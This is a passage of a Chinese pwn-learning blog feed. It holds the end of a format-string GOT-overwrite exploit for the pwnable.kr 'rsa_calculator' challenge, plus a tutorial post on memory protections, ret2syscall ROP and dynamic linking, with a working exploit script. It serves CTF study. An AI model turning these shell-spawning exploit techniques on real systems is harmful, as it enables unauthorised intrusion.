</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="c1"># 把地址添加在后面</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="n">src</span><span class="p">[</span><span class="mi">144</span><span class="p">:</span><span class="mi">152</span><span class="p">]</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">SSCANF_GOT</span><span class="p">)</span>       <span class="c1"># 偏移 158 → %n  (低4字节)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="n">src</span><span class="p">[</span><span class="mi">152</span><span class="p">:</span><span class="mi">160</span><span class="p">]</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">SSCANF_GOT</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span>   <span class="c1"># 偏移 159 → %hn (4-5字节)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="n">src</span><span class="p">[</span><span class="mi">160</span><span class="p">:</span><span class="mi">168</span><span class="p">]</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">SSCANF_GOT</span> <span class="o">+</span> <span class="mi">6</span><span class="p">)</span>   <span class="c1"># 偏移 160 → %hn (6-7字节)</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="c1"># 转换成解密函数需要的格式</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="c1"># decrypt参数是hex，所以需要hex编码，因为sendline只接收字节流，所以encode编码成字节流。</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="n">hex_data</span> <span class="o">=</span> <span class="n">src</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">    <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;十六进制输入: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">hex_data</span><span class="p">)</span><span class="si">}</span><span class="s2"> 字符数 → src[</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">src</span><span class="p">)</span><span class="si">}</span><span class="s2">] 字节&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="k">return</span> <span class="n">hex_data</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="k">def</span> <span class="nf">exploit</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="c1"># r = process(&#39;./rsa_calculator&#39;)</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">    <span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;pwnable.kr&#39;</span><span class="p">,</span><span class="mi">9012</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">    <span class="n">setup_key</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="n">hex_data</span> <span class="o">=</span> <span class="n">build_payload</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">    <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&#34;发送 Payload：&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">    <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&#34;这里要等一会，wait～&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">)</span>  <span class="c1">#  解密菜单</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;how&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">hex_data</span><span class="p">))</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;data&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">hex_data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">
</span></span><span class="line"><span class="ln">54</span><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">60</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">    <span class="n">log</span><span class="o">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;GOT 覆写完成 (received </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="si">:</span><span class="s2">,</span><span class="si">}</span><span class="s2"> bytes)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">    <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s2">&#34;发送 sh&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;how&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;data&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;sh</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">
</span></span><span class="line"><span class="ln">63</span><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">
</span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">    <span class="n">exploit</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>flag：<code>w4at_a_buggy_RS4_c4lculat0r</code></p>
<p>这题好难，没有 AI 我根本做不出来，一点点问 AI。 DeepSeek-V4-Pro 太好用了。</p>
<hr>
<p>RANK：113！哇终于进入排行榜了。</p>
<p>休息一下，我要去看一下其他的内容了。</p>
]]></content:encoded><atom:updated>2026-06-15T17:10:56+08:00</atom:updated><category>Pwn</category></item><item><title>Pwn学习日记-2</title><link>https://h4cker.zip/6f76a6/</link><pubDate>Wed, 08 Dec 2021 20:32:14 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/6f76a6/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>这次主要就是学习了ROP（返回导向编程），跟着PPT还有题目理解了很多rop原理以及汇编细节，在这里感谢好兄弟们的解惑以及小pwn手群的各位师傅。</p>
<p>这次对上一篇补充一些内容以及着重于理解</p>
<h3 id="内存保护措施">内存保护措施<a class="anchor" href="#内存保护措施">#</a></h3>
<blockquote>
<ul>
<li>
<p>canary</p>
<p>canary是金丝雀的意思。在函数返回值之前添加的一串随机数（不超过机器字长），末位为/x00（提供了覆盖最后一字节输出泄露canary的可能），如果出现缓冲区溢出攻击，覆盖内容覆盖到canary处，就会改变原本该处的数值，当程序执行到此处时，会检查canary值是否跟开始的值一样，如果不一样，程序会崩溃，从而达到保护返回地址的目的。一种很强硬的保护措施，就是在中间强插一块数据，前后对比</p>
</li>
<li>
<p>NX</p>
<p>NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址，然后加入shellcode，NX策略是使栈区域的代码无法执行。更强硬，直接不给你执行权限，即使溢出也无法执行攻击代码</p>
</li>
<li>
<p>PIE</p>
<p>PIE（ASLR），内存地址随机化机制（address space layout randomization)，有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址，stack和vdso页面随机化。
2 - 表示在1的基础上增加栈（heap）的随机化。
该保护能使每次运行的程序的地址都不同，防止根据固定地址来写exp执行攻击。
打乱程序在内存内的地址</p>
<p><strong>liunx下关闭PIE的命令如下：</strong>
<code>sudo -s echo 0 &gt; /proc/sys/kernel/randomize_va_space</code></p>
</li>
<li>
<p>RELRO</p>
<p>Relocation Read-Only (RELRO) 可以使程序某些部分成为只读的。它分为两种，Partial RELRO 和 Full RELRO，即 部分RELRO 和 完全RELRO。</p>
<p>部分RELRO 是 GCC 的默认设置，几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。</p>
<p>完全RELRO 使整个 GOT 只读，从而无法被覆盖，但这样会大大增加程序的启动时间，因为程序在启动之前需要解析所有的符号。</p>
</li>
</ul>
</blockquote>
<h3 id="ret2syscall">ret2syscall<a class="anchor" href="#ret2syscall">#</a></h3>
<h4 id="什么是系统调用">什么是系统调用？<a class="anchor" href="#什么是系统调用">#</a></h4>
<ul>
<li>操作系统提供给用户的编程接口</li>
<li>是提供访问操作系统所管理的底层硬件的接口</li>
<li>本质上是一些内核函数代码，以规范的方式驱动硬件</li>
<li>x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用</li>
</ul>
<p>讲人话我感觉就是，我们写程序system(&quot;/bin/sh&quot;)，这是系统里自带的。可是系统读取到此代码时，内部是如何调用system的？系统内部有一套代码对应这些函数，系统运行代码时就叫系统调用。而rop就是当程序内没有普通栈溢出条件时，我们利用一些碎片组成那一套系统内的代码，运行后就相当于执行了那个函数。</p>
<p><strong>举个例子，你驾驶播种机去播种，播种机原理是将土翻开，向里面撒种子再将土埋上；但是，现在你没有播种机了，你用手把土翻开，撒种子，再埋土。这就叫系统调用，直接走它内部的流程。</strong></p>
<p>比如我要执行<code>execve(&quot;/bin/sh&quot;,NULL,NULL)</code>，程序内并没有现成的代码供我们溢出跳转，所以我们执行此行代码的系统调用即可，已知此行代码对应系统调用为：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">mov eax, 0xb
</span></span><span class="line"><span class="ln">2</span><span class="cl">mov ebx, <span class="o">[</span><span class="s2">&#34;/bin/sh&#34;</span><span class="o">]</span> 
</span></span><span class="line"><span class="ln">3</span><span class="cl">mov ecx, <span class="m">0</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">mov edx, <span class="m">0</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">int 0x80</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h4 id="rop跳转机制">ROP跳转机制<a class="anchor" href="#rop跳转机制">#</a></h4>
<p>这里还需要了解rop的跳转机制</p>
<p><img
  src="/6f76a6/2_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1219" height="661"
/>
</p>
<p>左边是程序原本的栈，普通栈溢出只需要将<code>return address</code>部分覆盖为需要的函数地址，但是没有现成函数时，我们需要进行系统调用。按照上面的代码，首先跳到进行给<code>eax</code>赋值的代码，先给<code>eax</code>赋以<code>0xb</code>，再跳转到给<code>ebx</code>赋值的地方，给<code>ebx</code>赋以<code>/bin/sh</code>，再跳转到<code>ecx</code>，给<code>ecx</code>赋以<code>0</code>，再跳转到<code>edx</code>，给<code>edx</code>赋以<code>0</code>，再跳转到<code>int 0x80</code>的位置，完成系统调用。</p>
<p>再解释一下相应汇编指令，<code>pop</code>用于给寄存器赋值，赋值用的参数是在下一个字长，<code>pop</code>将下一个字长里的数据弹出到寄存器，<code>ret</code>是将下下个字长的数据弹出到eip，<strong><code>eip</code>是用于存储下一条命令用的寄存器</strong>，所以下一个命令就运行下下个字长那里。</p>
<p>此时再看上图中间的栈帧结构就清晰很多了，首先溢出溢出溢出，将<code>return address</code>覆写为<code>pop_eax_ret</code>的地址，这句将下一个字长里的<code>0xb</code>弹出到<code>eax</code>里，然后ret指令将下下个字长里的<code>pop_ebx_ret</code>地址弹出到<code>eip</code>里，这句结束。到了下一句<code>pop_ebx_ret</code>，原理同上所述。随后程序运行到最后一句<code>int 0x80</code>那里结束，此段系统调用等于执行了<code>execve(&quot;/bin/sh&quot;,NULL,NULL)</code></p>
<p><code>ROPgadget</code>命令用于寻找代码片段，<code>--binary</code>指令用于指定在哪个程序里寻找，<code>--only &quot;pop|ret&quot;</code>是只寻找含有<code>pop</code>和<code>ret</code>指令同时存在的片段，<code>grep eax</code>是在前面的结果中搜索含有<code>eax</code>的片段</p>
<h4 id="例题">例题<a class="anchor" href="#例题">#</a></h4>
<p>ret2syscall</p>
<p><img
  src="/6f76a6/2_2.webp"
  alt="checksec"
  class="zoomable"
  loading="lazy"
  decoding="async" width="976" height="135"
/>
</p>
<p><img
  src="/6f76a6/2_3.webp"
  alt="main"
  class="zoomable"
  loading="lazy"
  decoding="async" width="611" height="226"
/>
</p>
<p><img
  src="/6f76a6/2_4.webp"
  alt="strings"
  class="zoomable"
  loading="lazy"
  decoding="async" width="812" height="188"
/>
</p>
<p><img
  src="/6f76a6/2_5.webp"
  alt="寻找含有pop eax;ret的片段"
  class="zoomable"
  loading="lazy"
  decoding="async" width="593" height="58"
/>
</p>
<p><img
  src="/6f76a6/2_6.webp"
  alt="寻找含有pop ebx;ret的片段"
  class="zoomable"
  loading="lazy"
  decoding="async" width="665" height="460"
/>
</p>
<p><img
  src="/6f76a6/2_7.webp"
  alt="寻找含有int的片段"
  class="zoomable"
  loading="lazy"
  decoding="async" width="462" height="116"
/>
</p>
<p>即使PIE和canary关了，由于开了NX，所以无法执行栈上的代码，而已缺少现成函数，我们也无法直接溢出跳转，到这就可以想到ret2syscall了</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">io</span><span class="o">=</span><span class="n">process</span><span class="p">(</span><span class="s1">&#39;./ret2syscall&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">pop_eax_ret</span><span class="o">=</span><span class="mh">0x080bb196</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">pop_edx_ecx_ebx</span><span class="o">=</span><span class="mh">0x0806eb90</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">int_0x80</span><span class="o">=</span><span class="mh">0x08049421</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">bin_sh</span><span class="o">=</span><span class="mh">0x080BE408</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="n">flat</span><span class="p">([</span><span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="mi">112</span><span class="p">,</span><span class="n">pop_eax_ret</span><span class="p">,</span><span class="mh">0xb</span><span class="p">,</span><span class="n">pop_edx_ecx_ebx</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">bin_sh</span><span class="p">,</span><span class="n">int_0x80</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">9</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这个exp写出来我自己也挺意外的，地址不用打包？</p>
<h3 id="动态链接过程">动态链接过程<a class="anchor" href="#动态链接过程">#</a></h3>
<p>上个例题大小七百多k，IDA打开时函数区一大堆函数，因为它是静态编译的，将此程序需要用到的各种库全部打包在一个程序里，这些个库自身里就有着非常多的函数。为什么我们能找到那么多的碎片？就是因为有着这些包含大量代码的库存在。</p>
<p>静态编译的程序很大，运行起来与动态的一模一样。动态编译的程序所用的库是动态链接库，这些库在操作系统里就有，程序运行时直接引用就行了，所以程序自身文件很小。那么很容易想到，倘若系统里缺少相应的动态链接库，则此程序无法运行。由于动态编译的程序特性，IDA打开时函数区只包含与当前程序直接相关的函数，所以ROPgedget找到的碎片也很少。</p>
<h4 id="动静链接引用点">动/静链接引用点<a class="anchor" href="#动静链接引用点">#</a></h4>
<p><img
  src="/6f76a6/2_8.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1206" height="440"
/>
</p>
<h4 id="动态链接相关结构">动态链接相关结构<a class="anchor" href="#动态链接相关结构">#</a></h4>
<p><img
  src="/6f76a6/2_9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="599" height="309"
/>
</p>
<ul>
<li>
<p>.dynamic section</p>
<p>提供动态链接相关信息</p>
</li>
<li>
<p>link_map</p>
<p>保存进程载入的动态链接库的链表</p>
</li>
<li>
<p>__dl_runtime_resolve</p>
<p>装载器中用于解析动态链接库中函数的实际地址的函数</p>
</li>
</ul>
<h4 id="动态链接调用函数流程">动态链接调用函数流程<a class="anchor" href="#动态链接调用函数流程">#</a></h4>
<p>调用libc中的foo函数</p>
<p><img
  src="/6f76a6/2_10.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="912" height="486"
/>
</p>
<p>首次调用foo函数</p>
<p><img
  src="/6f76a6/2_11.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="908" height="484"
/>
</p>
<p>跳转到.plt表中的foo表项，.plt中代码跳转到.got.plt中记录的地址</p>
<p><img
  src="/6f76a6/2_12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="891" height="481"
/>
</p>
<p>由于进程是第一次调用 foo，故 .got.plt 中记录的地址是 <code>foo@plt+6</code></p>
<p><img
  src="/6f76a6/2_13.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="905" height="484"
/>
</p>
<p>回到 .plt 是为了解析 foo 的实际地址</p>
<p><img
  src="/6f76a6/2_14.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="909" height="485"
/>
</p>
<p>跳转到 .plt 头部为 <code>__dl_runtime_resolve</code> 函数传参</p>
<p><img
  src="/6f76a6/2_15.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="904" height="491"
/>
</p>
<p><img
  src="/6f76a6/2_16.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="923" height="486"
/>
</p>
